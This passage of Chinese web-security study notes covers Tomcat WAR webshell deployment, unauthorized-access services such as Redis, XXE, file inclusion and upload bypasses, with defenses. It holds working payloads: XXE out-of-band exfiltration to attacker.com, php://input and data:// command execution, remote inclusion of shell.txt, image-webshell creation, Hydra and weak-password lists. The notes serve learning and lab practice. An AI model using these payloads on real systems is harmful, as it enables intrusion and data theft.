echo '<% out.println("Hello"); %>' > goodman.jsp
3

4
# 打包为 WAR 文件
5
jar cvf shell.war goodman.jsp

Step 2：登录 Tomcat 后台

1
http://目标IP:端口/manager/html

Step 3：部署 WAR 包

找到 “WAR file to deploy” 部分
选择 shell.war 文件
点击 Deploy

Step 4：访问 Webshell

1
http://目标IP:端口/shell/goodman.jsp

💡 蚁剑连接：http://xxx:xxx/shell/goodman.jsp，密码 passwd

三、未授权访问漏洞#

3.1 什么是未授权访问？#

系统或服务未配置认证机制或认证绕过，攻击者无需凭证即可访问敏感资源。

3.2 常见端口与服务对照#

端口	服务	说明
20, 21	FTP	文件传输协议
22	SSH	安全 Shell
23	Telnet	远程登录（明文）
80, 443	HTTP/HTTPS	Web 服务
445	SMB	Windows 文件共享
873	Rsync	文件远程同步
1433	MSSQL	Microsoft SQL Server
1521	Oracle	Oracle 数据库
20880	Dubbo	分布式服务框架
27017	MongoDB	NoSQL 数据库
3306	MySQL	MySQL 数据库
4848	GlassFish	管理端口
5432, 5433	PostgreSQL	PostgreSQL 数据库
6379	Redis	NoSQL 数据库
6627	Storm	Nimbus 默认端口
8080	Jenkins	持续集成管理工具
8080	JBoss	Java 中间件
8080	Storm UI	Storm Web 端口
9200	Elasticsearch	管理端口
9300	Elasticsearch	服务端口
11211	Memcached	分布式内存缓存

四、历史未授权访问漏洞清单#

4.1 2017 年左右大量发现的漏洞（重点）#

序号	漏洞	组件/服务	说明
1	Redis 未授权访问	Redis	NoSQL 数据库，6379 端口
2	MongoDB 未授权访问	MongoDB	NoSQL 数据库，27017 端口
3	Memcached 未授权访问	Memcached	分布式缓存，11211 端口
4	JBoss 未授权访问	JBoss	Java 中间件，8080 端口
5	VNC 未授权访问	VNC	远程控制工具
6	Docker 未授权访问	Docker	容器管理工具
7	ZooKeeper 未授权访问	ZooKeeper	分布式协调服务
8	Rsync 未授权访问	Rsync	文件同步工具，873 端口
9	Hadoop 未授权访问	Hadoop	大数据系统
10	Jenkins 未授权访问	Jenkins	CI/CD 工具，8080 端口
11	CouchDB 未授权访问	CouchDB	NoSQL 数据库
12	LDAP 未授权访问	LDAP	认证服务
13	ActiveMQ 未授权访问	ActiveMQ	消息队列
14	Jupyter Notebook 未授权访问	Jupyter	笔记/代码运行
15	Kibana 未授权访问	Kibana	数据可视化（ELK）
16	RabbitMQ 未授权访问	RabbitMQ	消息队列
17	Spring Boot Actuator 未授权	Spring Boot	监控功能
18	FTP 未授权访问	FTP	文件传输
19	Dubbo 未授权访问	Dubbo	分布式服务框架，20880 端口
20	NFS 未授权访问	NFS	网络文件系统
21	Druid 未授权访问	Druid	数据库连接池
22	Windows IPC 共享未授权	Windows	文件共享
23	宝塔未授权访问	宝塔面板	PHP 服务器管理面板
24	PHP-FPM Fastcgi 未授权	PHP-FPM	PHP 解析服务
25	WebLogic 未授权访问	WebLogic	Java 中间件

4.2 近年漏洞（2022-2024）#

漏洞	编号	说明
Nacos 未授权访问	—	阿里配置中心
1Panel 未授权访问	CVE-2024-27288	服务器管理面板
Apache Shiro	CVE-2022-32532	Java 安全框架
Zabbix	CVE-2022-23134	监控系统
Zimbra	CVE-2022-27925	邮件系统
CloudPanel RCE	CVE-2023-35885	服务器管理面板
WebLogic 未授权 RCE	CVE-2023-21839	Java 中间件
Joomla 未授权访问	CVE-2023-23752	CMS 系统
WinRAR 命令执行	CVE-2023-38831	压缩软件
JumpServer 未授权访问	CVE-2023-42442	堡垒机
Jenkins 文件读取	CVE-2024-23897	CI/CD 工具
Confluence 未授权	CVE-2023-22515	协同工具
QNAP RCE	CVE-2024-27130	NAS 设备
Splunk 文件读取	CVE-2024-36991	日志分析
微软 RDP 认证漏洞	CVE-2024-38077	Windows 远程桌面

五、Redis 未授权访问（典型复现）#

5.1 检测#

Terminal window

1
# 连接 Redis
2
redis-cli -h 目标IP -p 6379
3

4
# 如果不需要认证，则存在未授权访问
5
192.168.x.x:6379> INFO

5.2 利用方式#

方式	说明
读取敏感数据	`GET key`、`KEYS *`
写入 SSH 公钥	免密登录服务器
写入 Webshell	结合 Web 路径
写入 Crontab	反弹 Shell
写启动项	Windows 开机自启

5.3 防御#

Terminal window

1
# 设置密码
2
requirepass 强密码
3

4
# 绑定 IP
5
bind 127.0.0.1

六、挖掘思路#

6.1 端口扫描#

1
1. 使用 Nmap 扫描目标端口
2
2. 识别开放端口对应的服务
3
3. 尝试使用默认账号密码或空密码登录
4
4. 查找是否存在历史未授权漏洞

6.2 搜索技巧#

在 搜狗微信搜索（https://weixin.sogou.com/）搜索：

1
"存在未授权访问漏洞" 组件名
2
"未授权访问" 漏洞复现

📌 快速参考卡片#

Hydra 爆破模板#

Terminal window

1
hydra -L 用户字典 -P 密码字典 -t 线程数 服务://IP:端口

常见弱口令#

用户名	密码
admin	admin
admin	123456
root	root
root	123456
tomcat	tomcat
manager	manager

未授权漏洞检测流程#

1
1. 端口扫描 → 发现开放端口
2
2. 识别服务 → 根据端口判断服务类型
3
3. 尝试连接 → 使用对应客户端连接（Redis-cli、MongoDB Shell 等）
4
4. 确认漏洞 → 无需认证可操作
5
5. 利用 → 写入 Webshell/SSH 公钥/反弹 Shell

需重点复现的漏洞#

Redis 未授权访问
Jenkins 未授权访问 (CVE-2024-23897)
WebLogic 未授权访问 (CVE-2023-21839)
JumpServer 未授权访问 (CVE-2023-42442)
Joomla 未授权访问 (CVE-2023-23752)

XXE 外部实体注入

Tue, 22 Sep 2026 15:16:00 GMT

一、XXE 概述#

1.1 什么是 XXE？#

XXE（XML External Entity Injection，XML 外部实体注入）是一种利用 XML 解析器特性进行攻击的漏洞。

1.2 学习意义#

场景	说明
漏扫设备	AWVS、XRAY 等漏扫工具 100% 包含 XXE 检测规则
实际工作	防守方接触大量安全设备，做监控时需识别 XXE 攻击流量
HW 行动	初级人员做监控，会看到大量包含 XXE 的攻击流量

二、XML 基础知识#

2.1 什么是 XML？#

特性	说明
全称	可扩展标记语言（EXtensible Markup Language）
设计目的	传输数据/存储数据（配置文件），而非显示数据
标签	未被预定义，需自行定义
特点	具有自我描述性

2.2 XML 与 HTML 的区别#

对比	HTML	XML
设计目的	显示数据	传输/存储数据
标签	预定义	自定义
作用	展示内容	描述数据

2.3 基础语法#

1
<?xml version="1.0" encoding="UTF-8"?>
2
<note>
3
    <to>Tove</to>
4
    <from>Jani</from>
5
    <heading>Reminder</heading>
6
    <body>Don't forget me this weekend!</body>
7
</note>

2.4 语法规则#

规则	说明
必须有根元素	如 `<note>` 是根元素
XML 声明可选	`<?xml version="1.0"?>`
所有元素必须有关闭标签	`<tag></tag>`
标签大小写敏感	`<Tag>` 和 `<tag>` 不同
必须正确嵌套	`<a><b></b></a>`
属性值必须加引号	`<img src="a.jpg"/>`
空格会被保留	不同于 HTML

2.5 命名规则#

可包含字母、数字及其他字符
不能以数字或标点开头
不能以 xml（或 XML、Xml 等）开头
不能包含空格

三、DTD（文档类型定义）#

3.1 什么是 DTD？#

DTD 的作用是定义 XML 文档的合法构建模块。

拥有正确语法的 XML 称为”形式良好”的 XML。通过 DTD 验证的 XML 称为”合法”的 XML。

3.2 内部 DTD#

DTD 包含在 XML 源文件中：

1
<?xml version="1.0"?>
2
<!DOCTYPE note [
3
    <!ELEMENT note (to,from,heading,body)>
4
    <!ELEMENT to (#PCDATA)>
5
    <!ELEMENT from (#PCDATA)>
6
    <!ELEMENT heading (#PCDATA)>
7
    <!ELEMENT body (#PCDATA)>
8
]>
9
<note>
10
    <to>程咬金</to>
11
    <from>貂蝉</from>
12
    <heading>通知</heading>
13
    <body>今天晚上，大战三百回合！</body>
14
</note>

元素声明解释：

声明	含义
`<!DOCTYPE note>`	此文档是 `note` 类型
`<!ELEMENT note (to,from,heading,body)>`	note 包含 4 个子元素
`<!ELEMENT to (#PCDATA)>`	to 元素为 PCDATA 类型

3.3 PCDATA vs CDATA#

类型	说明
PCDATA	会被解析器解析的文本（检查实体和标记）
CDATA	不会被解析器解析的文本

3.4 外部 DTD#

DTD 位于 XML 源文件外部：

1
<!DOCTYPE root-element SYSTEM "filename">

note.dtd：

1
<!ELEMENT note (to,from,heading,body)>
2
<!ELEMENT to (#PCDATA)>
3
<!ELEMENT from (#PCDATA)>
4
<!ELEMENT heading (#PCDATA)>
5
<!ELEMENT body (#PCDATA)>

XML 引用：

1
<?xml version="1.0" encoding="utf-8"?>
2
<!DOCTYPE note SYSTEM "note.dtd">
3
<note>
4
    <to>周瑜</to>
5
    <from>黄盖</from>
6
    <heading>提示</heading>
7
    <body>老子不服输</body>
8
</note>

四、DTD 实体#

4.1 内部实体#

1
<!ENTITY entity-name "entity-value">

示例：

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE stu [
3
    <!ELEMENT stu (name, age, address)>
4
    <!ELEMENT name (#PCDATA)>
5
    <!ELEMENT age (#PCDATA)>
6
    <!ELEMENT address (#PCDATA)>
7
    <!ENTITY name "亚瑟">
8
    <!ENTITY age "18">
9
    <!ENTITY address "对抗路">
10
]>
11
<stu>
12
    <name>&name;</name>
13
    <age>&age;</age>
14
    <address>&address;</address>
15
</stu>

展开收起

💡 实体由三部分构成：& + 实体名称 + 分号（;）

4.2 外部实体（XXE 漏洞核心）#

1
<!ENTITY entity-name SYSTEM "URI/URL">

示例：

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE root[
3
    <!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">
4
]>
5
<root>
6
    <username>&name;</username>
7
</root>

4.3 参数实体#

1
<!ENTITY % 实体名称 "实体的值">
2
<!-- 或 -->
3
<!ENTITY % 实体名称 SYSTEM "URI">

示例：

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE root [
3
    <!ENTITY % name SYSTEM "http://localhost/xxe/test2.php">
4
    %name;
5
]>

⚠️ 注意： % 和实体名称之间有一个空格！参数实体只能在 DTD 文件中被引用，其他实体在 XML 文档内引用。

五、XXE 原理#

1
攻击者构造恶意 XML → 提交到服务器 → 服务器解析 XML →
2
执行恶意实体引用 → 读取文件/探测内网/发起请求 → 返回结果

5.1 核心危险点#

XML 解析器启用了外部实体解析
用户输入的 XML 数据未被过滤
攻击者可以控制 <!ENTITY> 中的 SYSTEM 内容

六、XXE 利用方式#

6.1 支持的协议#

语言	支持的协议
libxml2	file、http、ftp
PHP	file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
Java	file、http、https、ftp、jar、netdoc、mailto、gopher
.NET	file、http、https、ftp

6.2 文件读取#

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE ANY [
3
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
4
]>
5
<x>&xxe;</x>
6
<!-- Windows -->
7
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">

6.3 内网探测（XXE + SSRF）#

1
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">

根据响应判断端口是否开放。

6.4 引入外部 DTD#

目标服务器 Payload：

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE ANY [
3
    <!ENTITY % file SYSTEM "http://attacker.com/test.dtd">
4
    %file;
5
]>
6
<x>&send;</x>

外部 test.dtd：

1
<!ENTITY send SYSTEM "file:///etc/passwd">

6.5 DNSLog 检测#

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE ANY [
3
    <!ENTITY xxe SYSTEM "http://your.dnslog.domain">
4
]>
5
<x>&xxe;</x>

6.6 盲注（无回显）数据外带#

攻击流程#

1
1. 准备参数实体 %file → 读取敏感数据（仅声明，未加载）
2
2. 准备参数实体 %dtd → 请求远程 remote.dtd（仅声明，未加载）
3
3. 加载 %dtd → 将 remote.dtd 中的实体包含进来
4
4. 加载 %send → 请求 http://attacker.com/xxe.php?data=%file
5
5. %file 被解析 → 数据拼接到 URL 中
6
6. 数据到达攻击者服务器

攻击者服务器文件#

remote.dtd：

1
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/xxe.php?data=%file;'>">
2
%payload;

xxe.php：

1
<?php
2
file_put_contents('1.txt', $_GET['data']);
3
?>

目标服务器 Payload：#

1
<?xml version="1.0"?>
2
<!DOCTYPE test [
3
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/inc/config.inc.php">
4
    <!ENTITY % dtd SYSTEM "http://attacker.com/remote.dtd">
5
    %dtd;
6
    %send;
7
]>

七、Pikachu 靶场实战#

7.1 文件读取#

1
POST /xxe/xxe.php
2
Content-Type: application/xml
3

4
<?xml version="1.0" encoding="UTF-8"?>
5
<!DOCTYPE ANY [
6
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
7
]>
8
<x>&xxe;</x>

7.2 内网探测#

1
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">

7.3 引入外部 DTD#

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE ANY [
3
    <!ENTITY % file SYSTEM "http://attacker.com/test.dtd">
4
    %file;
5
]>
6
<x>&send;</x>

八、XXE 防御#

8.1 禁用外部实体（PHP）#

1
// 禁用外部实体加载（核心防御）
2
libxml_disable_entity_loader(true);
3
// 解析 XML 时指定安全选项
4
$xml = simplexml_load_string($data, "SimpleXMLElement", LIBXML_NOENT | LIBXML_DTDLOAD);
5
// 修改为：
6
$xml = simplexml_load_string($data, "SimpleXMLElement", LIBXML_NONET);

8.2 过滤用户输入的 XML#

过滤关键词：

关键词	说明
`<!DOCTYPE`	DTD 声明
`<!ENTITY`	实体声明
`SYSTEM`	外部实体关键字
`PUBLIC`	公共实体关键字
`file://`	文件协议
`http://`	HTTP 协议

8.3 安全配置#

语言	防御方法
PHP	`libxml_disable_entity_loader(true)`
Java	禁用外部实体：`factory.setFeature("http://xml.org/sax/features/external-general-entities", false)`
Python	`lxml.etree.XMLParser(resolve_entities=False)`
.NET	设置 `XmlReaderSettings.ProhibitDtd = true`

📌 快速参考卡片#

XML 基本结构#

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE root [          <!-- DTD 定义（可选） -->
3
    <!ELEMENT root (child)>
4
    <!ENTITY name "value">
5
]>
6
<root>                    <!-- 根元素 -->
7
    <child>&name;</child> <!-- 引用实体 -->
8
</root>

XXE Payload 速查#

1
<!-- 读取文件 -->
2
<!ENTITY xxe SYSTEM "file:///etc/passwd">
3

4
<!-- 内网探测 -->
5
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
6

7
<!-- DNSLog 检测 -->
8
<!ENTITY xxe SYSTEM "http://your.dnslog.domain">
9

10
<!-- 外部 DTD -->
11
<!ENTITY % file SYSTEM "http://attacker.com/test.dtd">
12

13
<!-- PHP 伪协议读文件（盲注常用） -->
14
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

防御速查#

1
// PHP 核心防御
2
libxml_disable_entity_loader(true);
3

4
// 解析时禁用网络
5
simplexml_load_string($xml, "SimpleXMLElement", LIBXML_NONET);

XXE 盲注数据外带流程#

1
目标服务器：
2
  1. %file = 读取敏感数据
3
  2. %dtd = 加载远程 remote.dtd
4
  3. %send = 发送数据到攻击者服务器
5

6
攻击者服务器：
7
  remote.dtd → 构造带 %file 的请求
8
  xxe.php → 接收并保存数据

文件包含漏洞

Mon, 21 Sep 2026 15:15:00 GMT

一、文件包含漏洞概述#

1.1 什么是文件包含漏洞？#

后端程序在包含文件的功能中，如果被包含的文件路径可被攻击者控制，导致攻击者提供的文件中的动态脚本代码被执行。

1.2 漏洞原理#

程序使用了 include、require 等文件包含函数
包含的文件路径来自用户输入（如 ?file=xxx）
服务器未对用户输入进行严格过滤
攻击者可以包含恶意文件 → 代码执行

1.3 漏洞危害#

危害	说明
信息泄露	读取系统敏感文件
代码执行	包含恶意代码获取 Shell
GetShell	配合文件上传或远程文件包含

二、漏洞分类#

类型	英文	说明
本地文件包含	LFI (Local File Inclusion)	包含服务器本地的文件
远程文件包含	RFI (Remote File Inclusion)	包含远程服务器上的文件（需开启 `allow_url_include`）

三、文件包含函数#

3.1 函数对比#

函数	文件不存在时	文件已包含过	特点
`include()`	警告，继续执行	再次包含	出错后脚本继续运行
`require()`	致命错误，停止执行	再次包含	出错后脚本终止
`include_once()`	警告，继续执行	不重复包含	防止重复包含
`require_once()`	致命错误，停止执行	不重复包含	防止重复包含

3.2 错误行为对比#

情况	include	require
被包含文件不存在	前段正常执行，后段继续	仅前段执行，后段停止
被包含文件存在但有错误	仅前段执行	仅前段执行

四、本地文件包含（LFI）#

4.1 漏洞代码示例#

1
<?php
2
echo "<h1>文件包含demo</h1><br>";
3
include($_REQUEST['file']);
4
?>

访问：

1
http://target.com/include_demo.php?file=test.txt

如果 test.txt 中包含 PHP 代码，该代码会被执行。

4.2 什么情况下 PHP 代码会执行？#

✅ 结论：被包含文件中的 PHP 代码一定会被执行，与文件后缀名无关！

1
test.txt 内容：
2
下面有另外一个有效的php代码。<br>
3
<?php
4
echo "我是第二个运行的脚本的结果。<br>";
5
?>

访问 ?file=test.txt → 其中的 PHP 代码被执行。

五、远程文件包含（RFI）#

5.1 前提条件#

配置项	值
`allow_url_fopen`	On
`allow_url_include`	On（核心条件）

5.2 配置路径#

1
/etc/php/7.4/fpm/php.ini

5.3 重启生效#

Terminal window

1
# Linux
2
sudo systemctl restart php7.4-fpm

5.4 利用方式#

1
http://target.com/include_demo.php?file=http://attacker.com/test.txt

攻击者服务器上的 test.txt 包含恶意 PHP 代码，目标服务器会远程拉取并执行。

六、敏感文件路径（信息泄露）#

6.1 Windows 敏感文件#

路径	内容
`c:\windows\win.ini`	系统基本信息
`c:\windows\my.ini`	MySQL 安装时 root 密码
`c:\windows\system32\config\sam`	Windows 管理员密码哈希
`c:\windows\repair\sam`	系统初次安装密码
`c:\windows\system32\inetsrv\MetaBase.xml`	IIS 配置文件
`c:\tomcat5.0\conf\resin.conf`	Tomcat 密码配置
`C:\boot.ini`	系统版本信息
`C:\ProgramFiles\mysql\my.ini`	MySQL 配置
`C:/ProgramFiles/mysql/data/mysql/user.MYD`	MySQL root 账号
`C:\windows\php.ini`	PHP 配置信息

6.2 Linux 敏感文件#

路径	内容
`/etc/passwd`	系统账号信息
`/etc/shadow`	系统密码哈希
`/etc/httpd/conf/httpd.conf`	Apache 配置
`/etc/nginx/nginx.conf`	Nginx 配置
`/etc/my.conf`	MySQL 配置
`/usr/etc/php.ini`	PHP 配置
`/var/log/apache2/access.log`	Apache 访问日志
`/var/log/apache2/error.log`	Apache 错误日志
`/var/log/auth.log`	认证日志
`/etc/rc.d/rc.local`	开机启动脚本
`~/.bashrc`	终端启动项（Redhat）
`/etc/bash.bashrc`	终端启动项（Debian）
`/etc/sysconfig/network-scripts/ifcfg-eth0`	IP 配置
`/root/.ssh/authorized_keys`	SSH 认证公钥
`/root/.bash_history`	系统历史命令
`/root/.mysql_history`	MySQL 历史命令
`/proc/mounts`	已挂载文件系统
`/proc/config.gz`	内核配置文件

七、PHP 伪协议利用#

7.1 常见伪协议#

协议	作用	条件
`php://filter`	读取文件源码（Base64 编码）	无
`php://input`	POST 数据作为 PHP 代码执行	`allow_url_include=On`
`data://`	数据流写入	`allow_url_include=On`
`phar://`	读取 ZIP 压缩包中的文件	PHP 5.3+
`zip://`	读取 ZIP 压缩包中的文件	PHP 5.3+

7.2 php://filter（读取源码）#

Terminal window

1
# Base64 编码读取，避免直接执行
2
http://target.com/include.php?file=php://filter/read=convert.base64-encode/resource=config.php

作用： 读取 PHP 源码（否则会被执行而看不到源码）。

7.3 php://input（执行 POST 数据）#

Terminal window

1
# GET 参数
2
http://target.com/include.php?file=php://input
3

4
# POST 数据
5
<?php phpinfo(); ?>

条件： allow_url_include = On

7.4 data://（内联代码执行）#

Terminal window

1
# 直接执行
2
http://target.com/include.php?file=data://text/plain,<?php phpinfo();?>
3

4
# Base64 编码（推荐，避免特殊字符问题）
5
http://target.com/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

条件： allow_url_include = On

7.5 phar:// / zip://（读取压缩包）#

Terminal window

1
# 相对路径
2
http://target.com/include.php?file=phar://info.zip/phpinfo.txt
3

4
# 绝对路径
5
http://target.com/include.php?file=zip://c:/wamp/www/phpinclude/phpinfo.zip/phpinfo.txt

条件： PHP 5.3.0+

八、利用思路#

8.1 完整利用流程#

1
1. 发现文件包含参数（?file=、?page=、?url= 等）
2
2. 尝试本地文件包含（读取 /etc/passwd）
3
3. 如果成功 → LFI
4
   ├── 读取敏感文件获取信息
5
   ├── 包含日志文件（访问日志、错误日志）→ 注入代码到日志 → 包含执行
6
   ├── 包含上传的文件（头像、附件）→ 执行 Webshell
7
   └── 包含 Session 文件 → 利用 Session 注入
8
4. 如果允许远程包含 → RFI
9
   └── 包含远程恶意文件 → RCE
10
5. 使用伪协议
11
   ├── php://filter → 读取源码
12
   ├── php://input → 执行 POST 代码
13
   └── data:// → 直接执行代码

8.2 关键判断#

问题	答案
能读 /etc/passwd 吗？	✅ LFI 确认
能执行代码吗？	看是否包含 PHP 代码
allow_url_include 开启？	✅ 可以用 php://input / data://
可以上传文件？	✅ 包含上传后的文件路径

九、挖掘方法#

9.1 URL 特征识别#

搜索包含以下参数的 URL：

1
?file=
2
?page=
3
?src=
4
?s=
5
?from=
6
?img=
7
?u=
8
?link=
9
?linkk=
10
?share=
11
?wap=
12
?target=
13
?t=
14
?3g=
15
?display=
16
?sourceURI=
17
?imageURL=
18
?domain=
19
?res=
20
?resource=
21
?host=
22
?path=
23
?dir=
24
?show=
25
?data=
26
?load=
27
?read=

展开收起

9.2 代码审计#

搜索 PHP 文件包含函数：

1
include(
2
include_once(
3
require(
4
require_once(

十、防御措施#

措施	说明
关闭远程包含	`allow_url_include = Off`
输入过滤	过滤 `../`、`./`、`\`、`http://`、`https://`
路径检查	生成被包含文件路径后，正则检查是否合法
禁用危险函数	`disable_functions` 包含 `include`、`require` 等（需谨慎）
白名单	只允许包含指定目录下的文件

防御示例#

1
// 白名单防御
2
$allowed = ['home', 'about', 'contact'];
3
if (!in_array($_GET['file'], $allowed)) {
4
    die('Invalid file');
5
}
6
include('./pages/' . $_GET['file'] . '.php');
7

8
// 路径过滤
9
$file = str_replace(['../', './', '\\'], '', $_GET['file']);
10
include('./pages/' . $file . '.php');

📌 快速参考卡片#

测试 Payload#

Terminal window展开收起

1
# 测试 LFI
2
?file=../../../../etc/passwd
3
?file=..\..\..\windows\win.ini
4

5
# 读取 PHP 源码
6
?file=php://filter/read=convert.base64-encode/resource=index.php
7

8
# 执行 POST 代码（allow_url_include=On）
9
?file=php://input
10
POST: <?php system('whoami'); ?>
11

12
# data:// 执行代码（allow_url_include=On）
13
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
14

15
# 远程包含（allow_url_include=On）
16
?file=http://attacker.com/shell.txt

展开收起

关键判断#

目标	Payload
是否存在 LFI	`/etc/passwd` 或 `windows\win.ini`
是否可执行代码	包含含 PHP 代码的文件
allow_url_include	尝试 `php://input`
读取源码	`php://filter`

文件上传漏洞

Sun, 20 Sep 2026 14:52:00 GMT

一、文件上传漏洞概述#

1.1 什么是文件上传漏洞？#

由于后端未对上传的文件进行正确的识别和处理，导致攻击者上传恶意文件（如 Webshell），进而控制系统。

1.2 常见误解#

说法	正误
“看见一个上传点，已经挖到一个文件上传漏洞”	❌ 必须上传并执行恶意代码才算
“上传功能正常就是安全的”	❌ 功能正常≠安全，需检查过滤机制

1.3 漏洞危害#

危害	说明
执行命令	上传 Webshell，控制目标服务器
资源消耗	上传大文件或恶意文件消耗服务器资源
内网渗透	以服务器为跳板攻击内网

1.4 利用条件#

1
1. 具备上传点且功能正常
2
2. 知道上传文件的路径且能够访问
3
3. 上传的文件可以被执行（如放在可执行目录）
4
4. 上传文件中的有效代码未被破坏（未被转义/过滤）
5
5. 后端脚本解析器需有足够权限（如管理员权限）
6
6. 配合文件解析漏洞使用
7
7. 未被 WAF 拦截或能够绕过 WAF

二、文件上传绕过方式#

2.1 绕过方式总览#

类别	方式	前提条件
前端绕过	禁用 JS / 修改前端代码	仅前端校验
MIME 绕过	修改 Content-Type	后端仅检查 MIME
生僻扩展名	使用 php3/php4/php5/phtml 等	黑名单不完整
大小写绕过	.pHp / .PhP	黑名单未忽略大小写
末尾加空格	`.php`	低版本 PHP / Windows
末尾加点	`.php.`	Windows 系统
::$DATA 绕过	`.php::$DATA`	Windows + NTFS
双写绕过	`.pphphp`	黑名单仅替换一次
NULL 截断	`.php%00.jpg`	PHP < 5.3.29
.htaccess	上传 .htaccess 解析任意文件	Apache
.user.ini	上传 .user.ini 包含恶意文件	PHP 较高版本
条件竞争	先上传再检查，利用时间差	检查机制滞后的场景

2.2 生僻扩展名#

PHP 系列：

1
php、php2、php3、php4、php5、phtml、pht、phps

ASP 系列：

1
asp、aspx、asa、asax、ascx、ashx、asmx、cer

JSP 系列：

1
jsp、jspa、jspx、jsw、jsv、jspf、jtml

2.3 前端绕过#

1
1. 浏览器禁用 JavaScript
2
2. 使用 Burp Suite 修改上传请求
3
3. 删除或修改前端校验逻辑

2.4 Content-Type (MIME) 绕过#

1
# 正常上传
2
Content-Type: image/jpeg
3

4
# 修改为合法 MIME 类型绕过检查
5
Content-Type: image/gif
6
Content-Type: image/png

2.5 大小写绕过#

1
# 黑名单过滤 .php，但未忽略大小写
2
shell.pHp
3
shell.PhP
4
shell.PHP

2.6 末尾加空格/加点#

1
# Windows 系统会自动去除末尾空格和点
2
shell.php     → 有效
3
shell.php.    → Windows 自动去除末尾点
4
shell.php     → 空格

2.7 ::DATA 绕过（NTFS 文件流）#

Terminal window

1
# Windows NTFS 流文件绕过
2
shell.php::$DATA
3
# 实际保存为 shell.php

2.8 双写绕过#

1
// 黑名单替换 .php 为空（仅替换一次）
2
shell.pphphp  → 替换后 → shell.php

2.9 NULL 截断#

Terminal window

1
# PHP < 5.3.29 版本
2
shell.php%00.jpg
3
# %00 截断后面的内容，实际保存为 shell.php

2.10 .htaccess 绕过（Apache）#

1
# 上传 .htaccess 文件，让任意文件作为 PHP 解析
2
AddType application/x-httpd-php .jpg .png .gif

执行流程：

1
上传 .htaccess → 修改解析规则 → 上传图片马 → 图片马被当作 PHP 执行

2.11 .user.ini 绕过#

1
# 上传 .user.ini 文件（PHP 5.3+）
2
auto_prepend_file = shell.jpg
3
# 所有 PHP 文件执行前自动包含 shell.jpg

执行流程：

1
上传 .user.ini → 设置自动包含 → 上传图片马 → 访问任意 PHP 文件 → 图片马被执行

三、图片马#

3.1 什么是图片马？#

将 Webshell 代码隐藏在正常图片中的文件。图片仍可正常显示，但包含恶意代码。

3.2 创建图片马#

Terminal window

1
# 准备文件
2
0.jpg    # 正常图片
3
shell.php # 恶意代码
4

5
# 合并生成图片马
6
copy 0.jpg /b + shell.php /a shell.jpg
7

8
# 参数说明：
9
# /b    二进制模式
10
# /a    ASCII模式

3.3 图片马 + 文件包含 = Getshell#

include.php

1
上传图片马 → 文件包含漏洞包含该图片 → 图片中的 PHP 代码被执行 → Getshell
2
<?php
3
include($_GET['file']);
4
?>
5
http://target.com/include.php?file=shell.jpg

四、上传漏洞挖掘流程#

4.1 挖掘步骤#

1
1. 找上传功能点
2
   ├── 头像上传
3
   ├── 附件上传
4
   ├── 文件管理
5
   └── 编辑器上传
6
         ↓
7
2. 上传正常文件，确认功能正常
8
         ↓
9
3. 判断是白名单还是黑名单
10
   ├── 白名单 → 只允许特定扩展名
11
   │   ├── 尝试 00 截断
12
   │   ├── 条件竞争
13
   │   └── 图片马 + 文件包含/解析漏洞
14
   │
15
   └── 黑名单 → 过滤特定扩展名
16
       ├── 修改扩展名抓包
17
       ├── 大小写绕过
18
       ├── 生僻扩展名
19
       ├── 末尾加点/空格/::$DATA
20
       ├── .htaccess / .user.ini
21
       ├── 双写绕过
22
       └── NULL 截断
23
         ↓
24
4. 确认上传成功且可执行

展开收起

4.2 URL Fuzz 找上传点#

Terminal window

1
# 常见上传路径
2
http://xxx.com/upload.php
3
http://xxx.com/uploadfile.php
4
http://xxx.com/uploaddoc.php
5
http://xxx.com/fileupload.php
6
http://xxx.com/upload.jsp
7
http://xxx.com/upfile.php

五、WebShell 权限#

5.1 权限来源#

Webshell 由 PHP 解析器执行，权限取决于 PHP 解析器的运行方式。

运行方式	权限来源
Apache + PHP 模块	Apache 进程权限
Nginx + PHP-FPM	PHP-FPM 服务运行用户权限

5.2 权限提升思路#

1
1. 利用系统漏洞提权
2
2. 利用配置错误（如 sudo 配置不当）
3
3. 利用敏感文件获取凭证
4
4. 利用 SUID 文件

六、条件竞争#

6.1 原理#

文件先被保存到服务器，再进行安全检查（如扫描病毒、检查内容）。攻击者利用检查完成前的时间差执行恶意代码。

6.2 利用方式#

1
1. 持续上传恶意文件
2
2. 同时持续访问该文件
3
3. 在检查完成前触发执行

七、防御措施#

7.1 服务端防御#

措施	说明
白名单	只允许指定扩展名（推荐）
重命名文件	使用随机字符串重命名，不暴露扩展名
限制目录权限	上传目录禁止执行 PHP
内容检查	检查文件内容是否包含恶意代码
二次渲染	对图片重新生成，去除恶意代码
限制大小	限制上传文件大小
限制 MIME	校验 MIME 类型

7.2 Nginx 配置示例#

1
# 禁止解析上传目录中的 PHP
2
location /uploads/ {
3
    location ~ .*\.(php|php5)?$ {
4
        deny all;
5
    }
6
}

7.3 Apache 配置示例#

1
# 禁止解析上传目录中的 PHP
2
<Directory /var/www/html/uploads>
3
    php_flag engine off
4
    AddType text/plain .php .php5 .phtml
5
</Directory>

📌 快速参考卡片#

测试 Payload#

Terminal window展开收起

1
# 测试上传
2
shell.php
3
shell.pHp
4
shell.php3
5
shell.php5
6
shell.phtml
7
shell.jpg.php
8
shell.php.
9
shell.php%00.jpg
10
shell.php::$DATA
11
